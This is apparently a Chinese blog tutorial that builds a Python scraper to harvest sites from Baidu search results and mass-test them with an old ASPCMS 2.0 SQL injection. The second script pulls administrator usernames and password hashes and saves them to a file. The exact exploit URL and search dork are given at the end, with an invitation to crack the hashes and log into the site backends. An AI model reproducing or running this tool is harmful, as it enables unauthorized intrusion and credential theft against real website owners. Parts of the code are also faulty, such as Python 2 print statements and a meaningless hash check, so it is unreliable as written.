天天看點

Python大黑闊—url采集+exp驗證,帶你批量測試

前言:

最近幾天在整理從各處收集來的各種工具包,大大小小的塞滿了十幾個G的硬碟,無意間發現了一個好幾年前的​​0day​​。心血來潮就拿去試了一下,沒想到真的還可以用,不過那些站點都已經老的不像樣了,個個年久失修,手工測了幾個發現,使用率還挺可觀,于是就想配合url采集器寫一個批量exp的腳本。于是就有了今天這一文。結尾附上一枚表哥論壇的邀請碼一不小心買多了。先到先得哦。

開始:

環境,及使用子產品:

Python3

Requests

Beautifulsuop

Hashlib

老規矩先明确目标

  1. 需要編寫一個url采集器,收集我們的目标網址,
  2. 需要将我們的exp結合在其中。

    先看一下exp 的格式吧,大緻是這樣的:

    exp:xxx/xxx/xxx/xxx

    百度關鍵字:xxxxxx

    利用方式在網站後加上exp,直接爆出管理賬号密碼,

    像這樣:www.baidu.com/xxx/xxx/xxxxxxxxx

    PS:後面都用這個代替我們的代碼中

    再放個效果圖 

​​

Python大黑闊—url采集+exp驗證,帶你批量測試

沒錯就是這樣。直接出賬号密碼哈哈哈。

url采集子產品:

首先我們要編寫一個基于百度搜尋的url采集器。我們先來分析一下百度的搜尋方式,

我們打開百度,輸入搜尋關鍵字 這裡用芒果代替。

Python大黑闊—url采集+exp驗證,帶你批量測試

可以看到wd參數後跟着我們的關鍵字,我們點選一下第二頁看下頁碼是哪個參數在控制。

Python大黑闊—url采集+exp驗證,帶你批量測試

好的我們和前面url對比一下會發現pn參數變成了10,同理我們開啟第三頁第四頁,發現頁碼的規律是從0開始每一頁加10.這裡我們修改pn參數為90看下是不是會到第十頁。

Python大黑闊—url采集+exp驗證,帶你批量測試

可以看到真的變成第十頁了,證明我們的想法是正确的。我們取出網址如下

​​https://www.baidu.com/s?wd=芒果&pn=0​​

這裡pn參數後面的東西我們可以不要,這樣就精簡很多。

我們開始寫代碼。我們先需要一個main函數打開我們的百度網頁,我們并利用for循環控制頁碼變量,實作打開每一頁的内容。

先實作打開一頁網站,代碼如下

Python大黑闊—url采集+exp驗證,帶你批量測試

我們運作一下發現傳回的頁面是這樣的,并沒有我們想要的内容。

Python大黑闊—url采集+exp驗證,帶你批量測試

這是為什麼,原因就是因為百度是做了反爬的,但是不用擔心,我們隻要加入headers參數,一起請求就可以了。修改後代碼如下:

def main():
        url='https://www.baidu.com/s?wd=芒果&pn=0'#定義url
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#這裡百度是加了防爬機制的,需要加上user_agent驗證一下否則就會傳回錯誤
        r=requests.get(url=url,headers=headers)#請求目标網址
        soup=bs(r.content,'lxml')#利用bs解析網址
        print soup      

這樣在運作,就可以看到成功的傳回了網頁内容。

Python大黑闊—url采集+exp驗證,帶你批量測試

好的,我們再加上我們的循環,讓他可以周遊每一個網頁。一個簡單的爬蟲就寫好了,不過什麼内容也沒爬,先附上代碼。

import requests
from bs4 import BeautifulSoup as bs  #這裡吧子產品命名為了bs,方面我們調用。
def main():
    for i in range(0,750,10):#周遊頁數,每次增加10
        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定義url
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#這裡百度是加了防爬機制的,需要加上user_agent驗證一下否則就會傳回錯誤
        r=requests.get(url=url,headers=headers)#請求目标網址
        soup=bs(r.content,'lxml')#利用bs解析網址
        print soup
if __name__ == '__main__':
    main()#調用函數main      

我們繼續分析網頁,取出每一個網址。右鍵審查元素,檢視在源代碼中的位置。

Python大黑闊—url采集+exp驗證,帶你批量測試

可以看到,我們的要取的資料,在一個名字為a的标簽中,我們用bs取出這個标簽所有内容。并用循環去取出“href”屬性中的網址,main函數代碼如下。

def main():
    for i in range(0,10,10):
        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
        r=requests.get(url=url,headers=headers)
        soup=bs(r.content,'lxml')
        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我們想要的内容,re子產品是為了讓我們取出這個标簽的所有内容。
        for url in urls:
            print url['href']#取出href中的連結内容      

這裡解釋一下為什麼有class:none這個語句,如果我們不加這一句,我們會發現我們同時也取到了百度快照的位址。在快照的位址中,class屬性是有值的,但是我們真正的連結中,沒有class屬性,這樣我們就不會取到快照的連結了。

運作一下。成功傳回我們要的連結

Python大黑闊—url采集+exp驗證,帶你批量測試

我們下一步就是驗證這些連結是否可用,因為有的網站雖然還可以搜尋到,但是已經打不開了。這裡利用request子產品以此請求我們的連結,并檢視傳回的狀态碼是不是200,如果為兩百則說明,網站是正常可以打開的。

在for循環中加上如下兩行代碼,運作。

r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#請求抓取的連結,并設定逾時時間為4秒。
print r_get_url.status_code      
Python大黑闊—url采集+exp驗證,帶你批量測試

可以看到成功反傳回了200,。接下來我們就要吧可以成功通路的網址的位址列印出來,并且隻要網站的首頁網址。我們分析一個網址

​https://www.xxx.com/xxx/xxxx/​

發現這裡都是由“/”分割的,我們可以吧url用“/”分割,并取出我們要向的網址。

運作程式後。會發現傳回這樣的網址,他們有一部分是帶着目錄的。

Python大黑闊—url采集+exp驗證,帶你批量測試

我們用/分割url為清單之後,清單中的第一個為網站所使用協定,第三個則為我們要取的網址首頁。代碼如下

def main():
    for i in range(0,10,10):
        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
        r=requests.get(url=url,headers=headers)
        soup=bs(r.content,'lxml')
        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我們想要的内容,re子產品是為了讓我們取出這個标簽的所有内容。
        for url in urls:
            r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#請求抓取的連結,并設定逾時時間為4秒。
            if r_get_url.status_code==200:#判斷狀态碼是否為200
                url_para= r_get_url.url#擷取狀态碼為200的連結

                url_index_tmp=url_para.split('/')#以“/”分割url
                url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割後的網址重新拼湊成标準的格式。
                print url_index      

運作後,成功取出我們要取的内容。

Python大黑闊—url采集+exp驗證,帶你批量測試

好的到這裡我們最主要的功能就實作了,下面我們進入我們激動人心的時候,加入exp,批量拿站。

exp子產品

如何實作這個功能呢,原理就是,在我們爬取的連結後加入我們的exp,拼接成一個完整的位址,并取出這個網址并儲存在一個txt文本中,供我們驗證。現在我們的代碼是這樣的

# -*- coding: UTF-8 -*-
import requests
import re
from bs4 import BeautifulSoup as bs
def main():
    for i in range(0,10,10):
        expp=("/xxx/xxx/xxx/xx/xxxx/xxx")
        url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
        r=requests.get(url=url,headers=headers)
        soup=bs(r.content,'lxml')
        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})
        for url in urls:
            r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)
            if r_get_url.status_code==200:
                url_para= r_get_url.url
                url_index_tmp=url_para.split('/')
                url_index=url_index_tmp[0]+'//'+url_index_tmp[2]
                with open('cs.txt') as f:
                    if  url_index not in f.read():#這裡是一個去重的判斷,判斷網址是否已經在文本中,如果不存在則打開txt并寫入我們拼接的exp連結。
                        print url_index
                        f2=open("cs.txt",'a+')
                        f2.write(url_index+expp+'\n')
                        f2.close()

if __name__ == '__main__':
    f2=open('cs.txt','w')
    f2.close()
    main()      

這裡我把exp用xxx代替了,你們自行替換一下。放在最後了。

運作一下我們的程式,在根目錄下,我們可以找到一個cs.txt的文本文檔,打開之後是這樣的。

Python大黑闊—url采集+exp驗證,帶你批量測試

打碼有一點點嚴重。不過不影響,小問題,大家了解就好了,其實到這裡就結束了,我們可以手工去驗證,一條一條的去粘貼通路,檢視是否有我們要的内容。But,我懶啊,一條一條的去驗證,何年何月了。

這裡我們在建立一個py檔案,用來驗證我們上一步抓取的連結,這樣我們就把兩個子產品分開了,你們可以隻用第一個url采集的功能。

我們的思路是這樣的,打開我們剛才采集的連結,并查找網頁上是否有特定内容,如果有,則講次連結儲存在一個檔案中,就是我們驗證可以成功利用的連結。

我們先看一下利用成功的頁面是什麼樣子的。

Python大黑闊—url采集+exp驗證,帶你批量測試

利用失敗的頁面

Python大黑闊—url采集+exp驗證,帶你批量測試

我們發現利用成功的頁面中有管理者密碼的hash,這裡我們利用hashlib子產品判斷頁面中是否有MD5,如果有則列印出來,并将MD5取出來和連結一起儲存再文本中。我們先分析一下網站源碼,友善我們取出内容

Python大黑闊—url采集+exp驗證,帶你批量測試

可以看到網站非常簡單,我們要取的内容分别在不同的屬性值一個為class:line1,一個為class:line2.我們隻要用bs子產品取出這兩個标簽中的内容就可以了。代碼如下。

# -*- coding: UTF-8 -*-
from bs4 import BeautifulSoup as bs
import requests
import time
import hashlib
def expp():
    f = open("cs.txt","r")#打開我們剛剛收集的文本文檔
    url=f.readlines()#逐行取出我們的連結
    for i in url:#将取出的連結放入循環中
        try:#加入異常處理,讓報錯直接忽略,不影響程式運作
            r=requests.get(i,timeout=5)#請求網址
            if r.status_code == 200:#判斷網址是否可以正常打開,可以去掉這一個,我們剛剛驗證了
                soup=bs(r.text,"lxml")#用bp解析網站
                if hashlib.md5:#判斷網址中是否有MD5,如果有繼續運作
                    mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#擷取line1資料
                    mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#擷取line2資料
                    f2=open('cs2.txt','a+')#打開我們的文本
                    f2.write(i+"\n"+mb1+"\n")#将我們驗證好的連結,還有資料儲存在文本中
                    f2.close()
                    print (mb1)
                    print (mb2)
        except:

            pass
    f.close()
expp()      

運作一下:

Python大黑闊—url采集+exp驗證,帶你批量測試

成功,我們看一下我們的檔案。

Python大黑闊—url采集+exp驗證,帶你批量測試

完美,然後我們就可以去找背景然後解密啦,你們懂得。

exp:

百度關鍵字:有限公司--Powered by ASPCMS 2.0
exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user      

總結:

1.吐槽一下python2對中文的不相容,導緻我還是換成了python3。

2.程式很簡單,但是重要的不是程式是思路。

3.這個url采集器是簡化版本的,如果想了解完全版的,這裡參推薦ado表哥的課程[+]《Python安全工具開發應用》,非常的nice。

4.源代碼,我也放出來了,回複可見

5.對了還有表哥論壇的邀請碼。隻有一份。先到先得哈哈,表哥論壇還是有很多幹貨的,喜歡的可以去注冊了解一下。這是表哥論壇連結

​https://www.chinacycc.com/​

邀請碼:ut444R

連結:​​https://pan.baidu.com/s/13pGlqjVT_p5aXZzfl_Dxew​​  

​​>>>點選即得密碼​​